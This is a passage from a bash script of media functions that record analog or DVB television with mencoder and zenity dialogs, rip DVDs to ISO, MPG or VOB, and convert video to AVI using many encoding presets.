or click 'OK' for immediate start"`
echo "$starttime entered as the start time."
curtime=$(date --utc --date now +%s)
echo "$curtime entered as the current time."
newtime=$(date --utc --date $starttime +%s)
echo "$newtime entered as the start time."
waittime=$(($newtime - $curtime))
echo "$waittime entered as time to wait before encoding starts"
###### user must select a target type (Check if they cancelled)
if [ ! "$newtime" ]; then
zenity --error --title="Error" --text="You must enter a Start Time!"
exit
fi
echo Channel= $achan_type
echo Filename= $file_name
echo Encode length= $time_type
echo Quality of encode= $qual_type
sleep $waittime
###### The Actual Analog Video Encoding? ######
###### video encoding analog
# YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
# In the third script (after "else") just change the
# chanlist value from us-cable to your chanlist region
# AND change device (video1) to video0 or whatever if need be
if [ "$achan_type" = "Composite" ]; then
input_type=1
mencoder -tv driver=v4l2:device=/dev/video1:input=$input_type:norm=ntsc:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="COMPOSITE Recording Script" --text="Processing Video...
$file_name"
elif [ "$achan_type" = "SVIDEO" ]; then
input_type=2
mencoder -tv driver=v4l2:device=/dev/video1:input=$input_type:norm=ntsc:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="SVIDEO Recording Script" --text="Processing Video...
$file_name"
elif [ "$achan_type" = "Custom" ]; then
# custom channel
custom_achannel="Please enter custom analog channel, no spaces"
achan_type_custom=`zenity --width="480" --height="150" --title="$custom_achannel" --entry`
echo "$achan_type_custom entered as the analog channel."
mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type_custom:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="ANALOG TV Recording Script" --text="Processing Video...
$file_name"
else
mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="ANALOG TV Recording Script" --text="Processing Video...
$file_name"
fi
elif [ "$tv_type" = "DVB_TV" ]; then
############ WATCH DVB TV (through MPlayer)
# YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
# gives you list of your current dvb channels
dchan_type=$(zenity --entry --text="What digital tv channel would you like to watch?:
ATSC/NTSC local digital channel list:
ADD YOUR LIST OF DIGITAL CHANNELS HERE FOR EASY USE ")
mplayer dvb://$dchan_type
###### user must select a target type (Check if they cancelled)
if [ ! "$dchan_type" ]; then
zenity --error --title="Error" --text="You must select a Channel!"
exit
fi
elif [ "$tv_type" = "ANALOG_TV" ]; then
############ WATCH Analog TV (through MPlayer)
achan_type=$(zenity --entry --text="What analog/cable tv channel would you like to watch?: ")
sh -c "mplayer -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type tv:// & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
###### user must select a target type (Check if they cancelled)
if [ ! "$achan_type" ]; then
zenity --error --title="Error" --text="You must select a Channel!"
exit
fi
elif [ "$tv_type" = "ANALOG_TV1" ]; then
############ WATCH Analog TV (through TVtime 1)
sox -s -r 32000 -c 2 -t alsa hw:1,0 -s -r 32000 -c 2 -t alsa hw:0,0 &
tvtime
t=`pidof sox`;
kill $t;
else
############ WATCH Analog TV (through TVtime 2)
sh -c "tvtime & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
fi
exit
}
############ DVD ############
###### DVD to ISO
function dvd2iso()
{
# to get desired device
df -h -x tmpfs -x usbfs
echo -n "Using the information in the terminal window, please enter the appropriate DVD drive:
"
read DVDDEVICE
echo -n "Please enter a name for the ISO file you will create:
"
read XVIDNAME
pv "$DVDDEVICE" | dd of="$XVIDNAME".iso
}
alias dvdcopy='dvd2iso'
###### DVD to MPG
function dvd2mpg()
{
# to get desired device
df -h -x tmpfs -x usbfs
echo -n "Using the information in the terminal window, please enter the appropriate DVD drive:
"
read DVDDEVICE
# to get desired title on dvd
# requires lsdvd: sudo apt-get install lsdvd
lsdvd "$DVDDEVICE"
echo -n "Using the information in the terminal window, please enter the title number you will convert (usually the longest one):
"
read DVDTITLE
echo -n "Please enter a name for the MPG/MPEG file you will convert:
"
read MPEGNAME
mplayer dvd://"$DVDTITLE" -dumpstream -alang es -dumpfile "$MPEGNAME".mpg
}
alias dvd2mpeg='dvd2mpg'
###### DVD to VOB - requires vobcopy: sudo apt-get install vobcopy
alias dvd2vob='vobcopy -i /dev/dvd -o ~/ -l'
alias dvd2vob='dvd2mpg'
###### extract audio from DVD VOB files - USAGE: dvdaudio input_file.vob output_file.ac3
function dvdaudio()
{
echo -n "Please enter the name (full path) for the MPG/MPEG/VOB file you will extract the audio from:
"
read VOBNAME
echo -n "Please enter a name for the audio file you will extract from the MPG/MPEG/VOB file:
"
read AC3NAME
mplayer "$VOBNAME" -aid 128 -dumpaudio -dumpfile "$AC3NAME"
}
############ Video ############
###### Video to AVI
function video2avi()
{
# Video To Avi
# Created: Inameiname
# Version: 3.2
####################### Run in the terminal on double-click
tty -s; if [ $? -ne 0 ] ; then gnome-terminal -e "$0"; exit; fi
####################### If it doesn't run in the terminal on double-click, say so
[ -t 0 ] && [ -t 1 ] || { zenity --warning --text="${0}: this script must be run from a terminal." ; exit 1 ;}
####################### Check whether environment variables are empty
###### see if the Nautilus environment variable is empty
# if it exists, set it equal to 'INPUT_FILE'
for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
ARCHIVE_PATH=${ARCHIVE_FULLPATH%.*}
if [ -f $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ] ; then
# if select iso file:
if [ $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS = $ARCHIVE_PATH.iso ] ; then
# to get desired title on dvd
# requires lsdvd: sudo apt-get install lsdvd
lsdvd $ARCHIVE_PATH.iso
echo -n "Please enter the title number you will convert (usually the longest one):
Press 'Enter' for default (default is '1')...
"
read TITLE
# extra blank space
echo "
"
# default
if [[ -z $TITLE ]] ; then
# If no title passed, default to 1
TITLE=1
fi
INPUT_FILE="dvd://$TITLE -dvd-device $ARCHIVE_PATH.iso"
fi
# if select video file:
if [ $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS != $ARCHIVE_PATH.iso ] ; then
INPUT_FILE=$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS
fi
fi
done
# if it's blank, set it equal to $1
if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ] ; then
# If it's blank, set it equal to $1
NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
###### see if the '$1' variable is empty
# if it exists, set it equal to 'INPUT_FILE'
for ARCHIVE_FULLPATH in $1; do
ARCHIVE_PATH=${ARCHIVE_FULLPATH%.*}
if [ -f $1 ] ; then
# if select iso file:
if [ $1 = $ARCHIVE_PATH.iso ] ; then
# to get desired title on dvd
# requires lsdvd: sudo apt-get install lsdvd
lsdvd $ARCHIVE_PATH.iso
echo -n "Please enter the title number you will convert (usually the longest one):
Press 'Enter' for default (default is '1')...
"
read TITLE
# extra blank space
echo "
"
# default
if [[ -z $TITLE ]] ; then
# If no title passed, default to 1
TITLE=1
fi
INPUT_FILE="dvd://$TITLE -dvd-device $ARCHIVE_PATH.iso"
fi
# if select video file:
if [ $1 != $ARCHIVE_PATH.iso ] ; then
INPUT_FILE=$1
fi
fi
done
# if it's blank, do the following:
if [ -z "$1" ] ; then
####################### Input DVD/ISO/VIDEO file menu
echo -n "What do you want to convert to AVI?:
(1) DVD
(2) ISO file
(3) Video file (such as MKV, VOB, MPEG, AVI, WMV, and etc.)
Press 'Enter' for default (default is '1')...
"
read TYPE
# extra blank space
echo "
"
###### Input DVD/ISO/VIDEO source default ######
if [[ -z $TYPE ]] ; then
# If no media passed, default to 1
TYPE=1
fi
###### Input DVD/ISO/VIDEO source ######
###### DVD to AVI
if [[ $TYPE = 1 ]] ; then
# to get desired device
df -h -x tmpfs -x usbfs
echo -n "Please enter the appropriate DVD drive:
(1) /dev/dvd
(2) /dev/sr0
(3) /dev/sr1
(4) /dev/sr2
(5) custom
Press 'Enter' for default (default is '1')...
"
read DEVICE_NUMBER
# extra blank space
echo "
"
# default
if [[ -z $DEVICE_NUMBER ]] ; then
# If no device passed, default to /dev/dvd
DEVICE=/dev/dvd
fi
# preset
if [[ $DEVICE_NUMBER = 1 ]] ; then
DEVICE=/dev/dvd
fi
if [[ $DEVICE_NUMBER = 2 ]] ; then
DEVICE=/dev/sr0
fi
if [[ $DEVICE_NUMBER = 3 ]] ; then
DEVICE=/dev/sr1
fi
if [[ $DEVICE_NUMBER = 4 ]] ; then
DEVICE=/dev/sr2
fi
# custom
if [[ $DEVICE_NUMBER = 5 ]] ; then
echo -n "Please enter the appropriate DVD drive: "
echo -n "...like this: '/dev/dvd'..."
read CUSTOM_DEVICE
DEVICE=$CUSTOM_DEVICE
fi
# to get desired title on dvd
# requires lsdvd: sudo apt-get install lsdvd
lsdvd $DEVICE
echo -n "Please enter the title number you will convert (usually the longest one):
Press 'Enter' for default (default is '1')...
"
read TITLE
# extra blank space
echo "
"
# default
if [[ -z $TITLE ]] ; then
# If no title passed, default to 1
TITLE=1
fi
# to decide to copy straight from the DVD or first copy to hard drive to ISO
echo -n "Would you first like to copy the DVD onto your hard drive (to ISO)?:
(1) Yes (Highly Recommended)
(2) No
Press 'Enter' for default (default is '1')...
"
read DVD2ISO
# extra blank space
echo "
"
# default
if [[ -z $DVD2ISO ]] ; then
# If no DVD2ISO passed, default to 1
dd if=$DEVICE of=NEW.iso
INPUT_FILE="dvd://$TITLE -dvd-device NEW.iso"
fi
# preset
if [[ $DVD2ISO = 1 ]] ; then
dd if=$DEVICE of=NEW.iso
INPUT_FILE="dvd://$TITLE -dvd-device NEW.iso"
fi
if [[ $DVD2ISO = 2 ]] ; then
INPUT_FILE="dvd://$TITLE -dvd-device $DEVICE"
fi
fi
###### ISO to AVI
if [[ $TYPE = 2 ]] ; then
echo -n "Please enter the full path for the ISO:
Example: /home/(your username)/Videos/NEW.iso...
"
read ISO
# extra blank space
echo "
"
# to get desired title on dvd
# requires lsdvd: sudo apt-get install lsdvd
lsdvd $ISO
echo -n "Please enter the title number you will convert (usually the longest one):
Press 'Enter' for default (default is '1')...
"
read TITLE
# extra blank space
echo "
"
# default
if [[ -z $TITLE ]] ; then
# If no title passed, default to 1
TITLE=1
fi
INPUT_FILE="dvd://$TITLE -dvd-device $ISO"
fi
###### Video to AVI
if [[ $TYPE = 3 ]] ; then
echo -n "Please enter the name for the input file (full path, with extension):
It can be any type, such as MKV, VOB, MPEG, AVI, WMV, and etc...
Example: /home/(your username)/Videos/NEW.avi...
"
read VIDEO_FILE
# extra blank space
echo "
"
INPUT_FILE=$VIDEO_FILE
fi
####################### Close the variable statements
fi
fi
####################### Cropping (done automatically)
###### start a timer to kill mplayer
echo "Cropdetect is now running...
A few seconds of your video should now be playing...
"
###### start a timer to kill mplayer
(sleep 6 && killall mplayer)&
###### start the mplayer cropdetect on on the DVD at a random time
mplayer $INPUT_FILE -ss 0:03:10 -vf cropdetect &> mplayer.tmp
###### get last crop value from mplayer output and store in variable
CROP_VALUES=$(awk -F'crop=' '/\[CROP\]/{f=$2} END{print f}' ./mplayer.tmp |cut -d')' -f1)
###### print detected crop values
echo -e "\n\nDetected crop values = ${CROP_VALUES}\n\n"
####################### Output desired name for file
###### file input
echo -n "Please enter a name for the output file (without extension):
Press 'Enter' for default (default is 'NEW')...
"
read OUTPUT_FILE
###### extra blank space
echo "
"
###### default ######
if [[ -z $OUTPUT_FILE ]] ; then
# If no file passed, default to NEW
OUTPUT_FILE=NEW_$(date "+%y.%m.%d_%H.%M")
fi
####################### Available processor number (done automatically)
CPUS=$(grep -c processor /proc/cpuinfo)
echo "Using $CPUS processor(s)..."
###### extra blank space
echo "
"
####################### Preset/Custom type options
echo -n "Select a quality level:
(1) exact copy quality MPEG (DVD/ISO sources only)
(2) exact copy audio-only quality AC3 (DVD/ISO sources only)
(3) very high quality H.264 (2-pass) (350min:105min film w/2 1.5mhz cpus)
(4) very high quality DIVX/MPEG-4 (2-pass) (270min:105min film w/2 1.5mhz cpus)
(5) very high quality XVID (2-pass) (220min:105min film w/2 1.5mhz cpus)
(6) very high quality H.264 (1-pass) (400min:105min film w/2 1.5mhz cpus)
(7) very high quality DIVX/MPEG-4 (1-pass) (230min:105min film w/2 1.5mhz cpus)
(8) very high quality XVID (1-pass) (180min:105min film w/2 1.5mhz cpus)
(9) high quality H.264 (2-pass) (240min:105min film w/2 1.5mhz cpus)
(10)high quality DIVX/MPEG-4 (2-pass) (190min:105min film w/2 1.5mhz cpus)
(11)high quality XVID (2-pass) (135min:105min film w/2 1.5mhz cpus)
(12)high quality H.264 (1-pass) (200min:105min film w/2 1.5mhz cpus)
(13)high quality DIVX/MPEG-4 (1-pass) (150min:105min film w/2 1.5mhz cpus)
(14)high quality XVID (1-pass) (090min:105min film w/2 1.5mhz cpus)
(15)fast quality H.264 (1-pass) (155min:105min film w/2 1.5mhz cpus)
(16)fast quality DIVX/MPEG-4 (1-pass) (065min:105min film w/2 1.5mhz cpus)
(17)fast quality XVID (1-pass) (065min:105min film w/2 1.5mhz cpus)
(18)fast quality XVID YouTube (1-pass) (025min:105min film w/2 1.5mhz cpus)
(19)realtime quality DIVX/MPEG-4 (1-pass) (050min:105min film w/2 1.5mhz cpus)
(20)realtime quality XVID (1-pass) (060min:105min film w/2 1.5mhz cpus)
(21)low quality WMV (1-pass) (017min:105min film w/2 1.5mhz cpus)
(22)custom quality
Press 'Enter' for default (default is '14')... "
read Q
###### extra blank space
echo "
"
###### default ######
if [[ -z $Q ]] ; then
# If no quality passed, default to 14
Q=14
fi
####################### Frame rate
###### frame rate menu
if [[ $Q != 1 && $Q != 2 ]] ; then
echo -n "Select a frame rate level:
(1) NTSC-VIDEO (~ 30 fps)
(2) NTSC-FILM (~ 24 fps)
(3) PAL (~ 25 fps)
(4) Streaming (~ 15 fps)
(5) custom
Press 'Enter' for default (default is '2')...
"
read FRAME_RATE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $FRAME_RATE_NUMBER ]] ; then
# If no frame rate passed, default to 2
FRAME_RATE="-ofps 24000/1001"
fi
###### preset
if [[ $FRAME_RATE_NUMBER = 1 ]] ; then
FRAME_RATE="-ofps 30000/1001"
fi
if [[ $FRAME_RATE_NUMBER = 2 ]] ; then
FRAME_RATE="-ofps 24000/1001"
fi
if [[ $FRAME_RATE_NUMBER = 3 ]] ; then
FRAME_RATE="-ofps 25000/1001"
fi
if [[ $FRAME_RATE_NUMBER = 4 ]] ; then
FRAME_RATE="-ofps 15000/1001"
fi
###### custom
if [[ $FRAME_RATE_NUMBER = 5 ]] ; then
echo -n "Please enter a frame rate: "
echo -n "...like this: '-ofps 15000/1001'..."
read CUSTOM_FRAME_RATE
FRAME_RATE=$CUSTOM_FRAME_RATE
fi
fi
####################### Divx ffourcc menu
###### DivX ffourcc menu
if [[ $Q != 1 && $Q != 2 && $Q != 3 && $Q != 5 && $Q != 6 && $Q != 8 && $Q != 9 && Q != 11 && $Q != 12 && $Q != 14 && $Q != 15 && $Q != 17 && $Q != 18 && $Q != 20 && $Q != 21 && $Q != 22 ]] ; then
echo -n "Select the desired Divx or generic MPEG4 quality:
(1) FFMPEG MPEG-4
(2) DivX MPEG-4 Version 4
(3) DivX MPEG-4 Version 5
Press 'Enter' for default (default is '3')...
"
read DIVX_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $DIVX_NUMBER ]] ; then
# If no file passed, default to 3
DIVX="-ffourcc DX50"
fi
###### preset
if [[ $DIVX_NUMBER = 1 ]] ; then
DIVX=
fi
if [[ $DIVX_NUMBER = 2 ]] ; then
DIVX="-ffourcc DIVX"
fi
if [[ $DIVX_NUMBER = 3 ]] ; then
DIVX="-ffourcc DX50"
fi
fi
####################### Conversion is starting
###### conversion is starting message
if [[ $Q != 22 ]] ; then
read -sn 1 -p "Your conversion is about to begin, press any key to continue..."
fi
###### extra blank space
echo "
"
####################### Conversions
###### preset ######
###### exact copy quality (DVD/ISO sources only)
if [[ $Q = 1 ]] ; then
# If 1 passed, use MPEG exact copy quality
mplayer $INPUT_FILE -dumpstream -dumpfile $OUTPUT_FILE.mpg
fi
if [[ $Q = 2 ]] ; then
# If 2 passed, use MPEG exact copy audio-only quality
mplayer $INPUT_FILE -dumpaudio -dumpfile $OUTPUT_FILE.ac3
fi
###### very high quality
if [[ $Q = 3 ]] ; then
# very high H.264 quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc x264 -x264encopts pass=2:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 4 ]] ; then
# very high MPEG4 quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc lavc $DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc lavc $DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 5 ]] ; then
# very high XVID quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=1:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc xvid -xvidencopts pass=2:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 6 ]] ; then
# very high H.264 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc x264 -x264encopts subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 7 ]] ; then
# very high MPEG4 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 8 ]] ; then
# very high XVID quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc xvid -xvidencopts chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### high quality
if [[ $Q = 9 ]] ; then
# high H.264 quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts pass=2:subq=5:8x8dct:frameref=2:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=1200 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 10 ]] ; then
# high MPEG4 quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc lavc $DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 11 ]] ; then
# high XVID quality (2-pass)
# actual two-pass conversion
mencoder $INPUT_FILE -nosound -ovc xvid -xvidencopts pass=1:vhq=1:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts pass=2:vhq=2:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 12 ]] ; then
# high H.264 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts subq=5:8x8dct:frameref=2:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 13 ]] ; then
# high MPEG4 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 14 ]] ; then
# high XVID quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts vhq=2:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### fast quality
if [[ $Q = 15 ]] ; then
# fast H.264 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts subq=4:8x8dct:bframes=2:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 16 ]] ; then
# fast MPEG4 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:trell:v4mv:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 17 ]] ; then
# fast XVID quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts turbo:vhq=0:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### YouTube quality
if [[ $Q = 18 ]] ; then
# YouTube MPEG4 quality (1-pass)
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:threads=$CPUS -ffourcc xvid -vf scale=320:-2,expand=:240:::1 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### realtime quality
if [[ $Q = 19 ]] ; then
# realtime MPEG4 quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $Q = 20 ]] ; then
# realtime XVID quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts turbo:nochroma_me:notrellis:max_bframes=0:vhq=0:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### low quality
if [[ $Q = 21 ]] ; then
# low WMV quality (1-pass)
# actual one-pass conversion
mencoder $INPUT_FILE -oac mp3lame -lameopts cbr:br=16:vol=3 -ovc lavc -lavcopts vcodec=wmv2:vbitrate=100 -vf scale -zoom -xy 240 $FRAME_RATE -o $OUTPUT_FILE.wmv
fi
####################### Custom quality
if [[ $Q = 22 ]] ; then
# If 22 passed, use custom quality (1-pass and 2-pass)
####################### Custom type options
echo -n "What type of AVI do you want to create with custom settings?:
(1) H.264 (2-Pass)
(2) H.264 (1-Pass)
(3) DIVX/MPEG-4 (2-Pass)
(4) DIVX/MPEG-4 (1-Pass)
(5) XVID (2-Pass)
(6) XVID (1-Pass)
Press 'Enter' for default (default is '6')...
"
read MPEG4_TYPE
###### extra blank space
echo "
"
###### default ######
if [[ -z $MPEG4_TYPE ]] ; then
# If no media passed, default to 6
MPEG4_TYPE=6
fi
####################### Custom Divx ffourcc menu
###### DivX ffourcc menu
if [[ $MPEG4_TYPE != 1 && $MPEG4_TYPE != 2 && $MPEG4_TYPE != 5 && $MPEG4_TYPE != 6 ]] ; then
echo -n "Select the desired Divx or generic MPEG4 quality:
(1) FFMPEG MPEG-4
(2) DivX MPEG-4 Version 4
(3) DivX MPEG-4 Version 5
Press 'Enter' for default (default is '3')...
"
read CUSTOM_DIVX_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $CUSTOM_DIVX_NUMBER ]] ; then
# If no file passed, default to 3
CUSTOM_DIVX="-ffourcc DX50"
fi
###### preset
if [[ $CUSTOM_DIVX_NUMBER = 1 ]] ; then
CUSTOM_DIVX=
fi
if [[ $CUSTOM_DIVX_NUMBER = 2 ]] ; then
CUSTOM_DIVX="-ffourcc DIVX"
fi
if [[ $CUSTOM_DIVX_NUMBER = 3 ]] ; then
CUSTOM_DIVX="-ffourcc DX50"
fi
fi
####################### Custom scaling
echo -n "Choose a resolution:
